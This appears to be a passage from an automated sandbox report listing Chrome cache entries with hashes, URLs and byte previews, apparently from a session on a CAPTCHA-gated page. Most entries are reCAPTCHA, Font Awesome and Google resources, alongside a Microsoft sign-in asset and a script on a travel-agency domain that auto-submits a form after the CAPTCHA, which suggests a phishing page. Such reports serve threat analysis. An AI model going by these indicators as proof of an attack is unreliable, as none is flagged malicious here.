Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAk8dqZYMe7mkRIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (569)
Category:	downloaded
Size (bytes):	513686
Entropy (8bit):	5.708485144795057
Encrypted:	false
SSDEEP:	6144:I5yBhvtossZ83R0i4jGbit+yhypxIylDtetHhvXCU0g4+yB+ZE4I:I7ZiNyVye341N
MD5:	5A8547555D71E5846135A48DCC7EC3DC
SHA1:	BDF99D0037D631CA1D24EFA343781F55A11AFB05
SHA-256:	7A01932ABC324CBDF143534BD8DC0E665E045A2AE8A0D234D24F2D3AD9EBC619
SHA-512:	863D425B41D6B439618CCD38D5EA46D5AD6CF3C145A476E0A8596903CFAAC4A2D04D40F5CD4F92AC74BDD73DFAAEC9F4661C6A71116DFC78B6A41F7D3BD801E6
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	downloaded
Size (bytes):	46765
Entropy (8bit):	7.973263791395308
Encrypted:	false
SSDEEP:	768:eFqn7kzKsTY9b/qyPVs8RbNAdTJJV4PHViAMAj+zpMsPVQfmIUU3Pp:e4nIzKsibJa8/A2vTj+zHPyLV3Pp
MD5:	E76C663D918F10DE6563213F131E1DED
SHA1:	AEE65F532B0A9442C0223CDEC9DFF66445EF40D1
SHA-256:	AE44C2952724C3A4A366CC1BEB32FD86AC54EFB8F887F7EBDE16237E7758520E
SHA-512:	D012F3000526B83378983D4ADE9DAC3266CE71ACF7BA1978654BCCE98FFD129AEBB507646187B3ED9BC9F733859D4A5BCA8811127E591EDE444CFCCED3EC4B92
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA5g_6J-oVyZGxTOqGvfinWuimROArHBxL7hy3JP51a5UXfeSXr9kNyijYt-nth_bE1vMP8IgMf1ABLY20nwERtZno2huybA-R7oP9Jh97ndor8CK-RTVXyTKFUm23hzSjZk4vwLcbW2D1XwUdOeBd5tq_ejvJO56XXf5LR8XerMEEmlgQtfSH_AxNpDgTds3fIXnbrA5aIBglkJx3e4Ca3bB4Gs-w&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=79357a75a0682f47
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...0.j.C.@ nP}....$8.2.'..R...3...0.q.=.j..d[..X.+mm..=...mZ.;..^....\|....X..a.....p:S.<44.H.v..D..p\|..B...~..x;.."...&...h...a....u.r9....?......e8.a.a].3.$..3.s.:..Mj5g..k..u..r......a..0:}.V..+.E$a}.e.'.g9...:....6.cw......VM.....G......;?.>.u....H.H.Y.-...8<~t...pQ....O...z}.R..x[f}.~56.e.k.K..Y....X...s..6.rZ..iva;..2T..._.Z.~/.....B.)...~..6~^1.R)C..3

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	29590
Entropy (8bit):	7.970811158341775
Encrypted:	false
SSDEEP:	768:aVRn0pjxOCGgFHyIUxxH32U0Ez43HBoXpx1Y/:aVmpVOCzlyJT3l0o43HBoXpi
MD5:	25DE57042ED45CE926138DA093D784F8
SHA1:	0740B068FDB8546B5248EF5274C8A14AD095ECEB
SHA-256:	46FB09B42E5E6614ACA16B50456D12D373E93266242E6DC5CC2BBD7D12651E68
SHA-512:	578A5B5E2943230C81C7C01FCB07B79BC499C406285E40F50157E07EB0978E1E2DBEED2A9A5275F59E2ECDC76FD6ACF585AE5745244B58A2D64EC98A77B0D923
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA7mqDTn3XTDJiy_EmMPxD0ZOmP_jwgiGtQJ-M5rVzwRXeqt_92s4AtDlghbN-vrvsKXyutgx221iYkBIonnmuGd8v9Rk-_I5ha3Q6zbzda6i5-n_zdgKValxTj1I9WTL6qH43PXjUQQAX_krneHTNPIdJMIpfcyldUyeqBhN3tOIIkPeh1M3PN77XJukqRMSdJzZO_JPOayB4Ob5PVmaov2Ft1L8Q&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....a.8.L.01.>..M.....o.#......s.]...D.4.a]B..)...%4.f&...Hq.Hn.3.q.\....n.F.fwaB.........X.+..e..X3..l....Z..u..1.ri.c..k....W...5-.W .\..W.5...dbHO.. ...}..i..,A..L`.g.+i.1<bI!vR..2...<f..K.V..o....p..@.7A...y..].3..7b.M.<...:....Aa0..i.V...`...]Ik.+6.T..h.$.e......O2.....x......X.F...Z.ZL.E@.Xm#?...........4.....[].s$..)..ILj......UM2..T........."@..

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	530
Entropy (8bit):	7.2576396280117494
Encrypted:	false
SSDEEP:	12:6v/7OEUhUxzPKmghSn8nazyk+k8/OzxQcxNMvVb:bhUxzlvWkT8FcxK1
MD5:	88E0F42C9FA4F94AA8BCD54D1685C180
SHA1:	5AD9D47A49B82718BAA3BE88550A0B3350270C42
SHA-256:	89C62095126FCA89EA1511CF35B49B8306162946B0C26D6F60C5506C51D85992
SHA-512:	FAFF842E9FF4CC838EC3C724E95EEE6D36B2F8C768DC23E48669E28FC5C19AA24B1B34CF1DBCBE877B3537D6A325B4C35AF440C2B6D58F6A77A04A208D9296F8
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/audio_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX...JBA.....E-R... (#..-*$.}.%.Kt.A..Dx.I...AF.Q.4.......-.6..?.m:.,.......Q..D.L..e4..2.D..8)j4:......&>.s......p?......9.o5>.][H.}...&L.%.xh{~K.J\|.b..N..HMp....f.}dd..S..4%...$dK..!..Z..NNs.W&g..Fn....p...w..Ut...E\.e.......6......M.F...X.L......em.....R#'..%....j$/..-......@.l."..M.\|....OtW.H.,.-.~W`Z.s8..W...B...C-.8"H....6......9...A..aO.1`.M..A..eA.{...-...U.,.W........IEND.B`.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.090012084439345
Encrypted:	false
SSDEEP:	3:INhtq4btxbKBf+BiAIFRNVC3h0i7GeYHoIp//uxbKBf+BiAIFRNVC3AYZtXL1h8T:otqWtxbQLZVVi7GeqlcbQLZVZYZ7qT
MD5:	938464F4A51E80A29886967E2DD10247
SHA1:	6CA208768620D334DC104B093C6B816BEFD75CAD
SHA-256:	E5E1650378525B31C2E2805A4CF471C306C690A4F01466044490D53753E83BBF
SHA-512:	D432657412D9A0D75171CFC35F9F3A1DF6383406D76BF299A1EC230E859C2DDA71BF452129956E66538CB652732ED4F8E47BA363691F18C77D61A7442391C30C
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD>.<TITLE>HTTP method GET is not supported by this URL</TITLE>.</HEAD>.<BODY BGCOLOR="#FFFFFF" TEXT="#000000">.<H1>HTTP method GET is not supported by this URL</H1>.<H2>Error 405</H2>.</BODY>.</HTML>.

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	low
URL:	https://www.google.com/favicon.ico
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (569)
Category:	downloaded
Size (bytes):	513686
Entropy (8bit):	5.708485144795057
Encrypted:	false
SSDEEP:	6144:I5yBhvtossZ83R0i4jGbit+yhypxIylDtetHhvXCU0g4+yB+ZE4I:I7ZiNyVye341N
MD5:	5A8547555D71E5846135A48DCC7EC3DC
SHA1:	BDF99D0037D631CA1D24EFA343781F55A11AFB05
SHA-256:	7A01932ABC324CBDF143534BD8DC0E665E045A2AE8A0D234D24F2D3AD9EBC619
SHA-512:	863D425B41D6B439618CCD38D5EA46D5AD6CF3C145A476E0A8596903CFAAC4A2D04D40F5CD4F92AC74BDD73DFAAEC9F4661C6A71116DFC78B6A41F7D3BD801E6
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.853983828113341
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKOSyMZrHwJYgWaee:PLKdXNQKOSphwugL
MD5:	E43ED69C73D3D702C3E4533A337D5A1A
SHA1:	88BAA0D1308FB899F418628F69394B9583BE9B34
SHA-256:	54D175FBB376B467B47A444346899169D7F8FFF30CC0DD3895C98CB647329AFD
SHA-512:	B38690F1A677251738641C4E3F3DE4184CCFA516EA900707E9B462D1D69839431D177DEC833CCD8A967587D9C0ADF333F1D9A519E3C2658022CFBAA1FFAE8884
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=07g0mpPGukTo20VqKa8GbTSw
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js');

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (54926)
Category:	downloaded
Size (bytes):	55111
Entropy (8bit):	4.7118090605418175
Encrypted:	false
SSDEEP:	768:guC31UP18Pq4/vnU63HJXkQCZ/WMQyjJKX719sGsQz5:gu5PWC4/vzH5BCkgc7zsiF
MD5:	E4C542A7F6BF6F74FDD8CDF6E8096396
SHA1:	3A0571A695A35F238026B9398386DC99D9A0C56D
SHA-256:	EEB17A45A48ACA1D7ADBCF04DE155DCD0B47CB36AD036310446BB471FEA9AAA3
SHA-512:	80C8D07836842C9D2BC8223E16D22DBAC53D3240227C265C1AAEFCF45AF3922338F43F256C38686946885F8012535F3BC287CC3658012787246EB5CCF6C13A3E
Malicious:	false
Reputation:	low
URL:	https://use.fontawesome.com/releases/v5.8.1/css/all.css
Preview:	/!. Font Awesome Free 5.8.1 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-lef

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	dropped
Size (bytes):	47293
Entropy (8bit):	7.977365269771038
Encrypted:	false
SSDEEP:	768:e8/CCo21J33NPyy+vK+KrHAu73xGtPItccxt42NbRsEyPbmTI4+kcMp40A47Lz4s:efCzdNj2K+67BZtnT4QRsE1I49a0b7LL
MD5:	1209A78D87F1BD9191D092B9AA5F051B
SHA1:	A73FE668B817F2F6C49DC7A17B8917D15F3C85BF
SHA-256:	8AB8FC7A2FB358E5BB1887018AFFAB745592C7B8C6EC528A47F653B380E8110E
SHA-512:	F249FA9B133128B95168A5391921FD3A2CF48B42560EC7F60F61D53B4731E5A76F37301E64ED34E928804B0A9F00B59FB53E4EF9154CB66CD91D8B456F035E15
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....q+..$.......Z.Ba.....P2;b.4......P.0...i.C..n....Z...@.09N.V...byC....U.Vh..$1.v.;.U;.a...l..e.d.FQ.E.+......6.[..M.....+n.R....r.......0\xb....2..9...f......9$.1."0.os.....-......5x.$......X"....+!#..Q1.r.H..9>..\|8.W.n..?..N.....B..T...........vf..ix%........\..o.H..M...^..hv.Y.2G._.Rk..r\|(.......{N...1+.\|.(SI.l4.....@....+...n.........X..,0~.........

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.390319531114783
Encrypted:	false
SSDEEP:	3:HYmpBth0tYY:4mpbgYY
MD5:	EB3CE3190D8A58E048D35E620747D3A5
SHA1:	76B5B6461189F839B018EF5C785DB4836B818B7D
SHA-256:	2D670E2962D8D805B95912CACA0822CE7C6913636BA40373C6E6AEA73CAC8457
SHA-512:	08F9C680B09CC25919A91F8E080CFC517F7354F49759DDC8CF6FFEB5ADE2E46F80A866E7531B6EA97188A5E4647093350F91ED51254351C47BCE3488EF88A595
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAnxxBGH512EMxIFDa0JrrESEAmpBkyoL2PXKBIFDUPzdjk=?alt=proto
Preview:	CgkKBw2tCa6xGgAKCQoHDUPzdjkaAA==

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAnWvFAr8uU4ahIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.853983828113341
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKOSyMZrHwJYgWaee:PLKdXNQKOSphwugL
MD5:	E43ED69C73D3D702C3E4533A337D5A1A
SHA1:	88BAA0D1308FB899F418628F69394B9583BE9B34
SHA-256:	54D175FBB376B467B47A444346899169D7F8FFF30CC0DD3895C98CB647329AFD
SHA-512:	B38690F1A677251738641C4E3F3DE4184CCFA516EA900707E9B462D1D69839431D177DEC833CCD8A967587D9C0ADF333F1D9A519E3C2658022CFBAA1FFAE8884
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=07g0mpPGukTo20VqKa8GbTSw
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js');

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	78
Entropy (8bit):	4.796235835292747
Encrypted:	false
SSDEEP:	3:TMQQeWLKMmyLR20gJYRnd7HzAlUHNQoYMwz:A61yLbDRd7HzAk7K
MD5:	01D6E93979C4E1D2D3C98BFFCEF5CDF2
SHA1:	C7FCDFC83FB8DF334DF779062A9420075C02A564
SHA-256:	E871D831CE9F0B019C14DB784CA403ACE4E96DBE9303B7E2ECFA6FCD20AEB102
SHA-512:	39857FCEEB6B791D07640887CBB177FD51AE306191A878A079F906C7EE0978A97131BAB01D7F757B9EACBD0FCA471D2CB164BC3E7D300E4B5C989AE31C238C7D
Malicious:	false
Reputation:	low
URL:	https://www.rubinoviaggi.it/read1.js
Preview:	function recaptchaCallback() {.document.getElementById("Client1").submit();.};

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 868 x 4
Category:	dropped
Size (bytes):	120
Entropy (8bit):	6.060493667147718
Encrypted:	false
SSDEEP:	3:CcnebN95vXG5Z1CK/7kCfrpvsdhyt86psoPHHn:tQG5Z1Dn+Wy6pseH
MD5:	DC8055F43FBB4A4B6DFB298EC35188F2
SHA1:	1FFC540743DE1CDB929D9D1218978005141E8D9D
SHA-256:	B857737891B84293B3DF526B48CE3D54FDCC5789C250EADFF9DD38E3C2C68CAF
SHA-512:	2CC173EFBA132E4352582F000F226E86A9A898B8A3AC1BA9633B2F19838B618EE3047555928E5258CC97E514D6F96ADF86391F7C6104288F1A61543E93B13518
Malicious:	false
Reputation:	low
Preview:	GIF89ad.................!.......,....d.....I...............H....................D..VL*.....J.T..P.j......-...;

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	downloaded
Size (bytes):	429
Entropy (8bit):	5.6505069539717505
Encrypted:	false
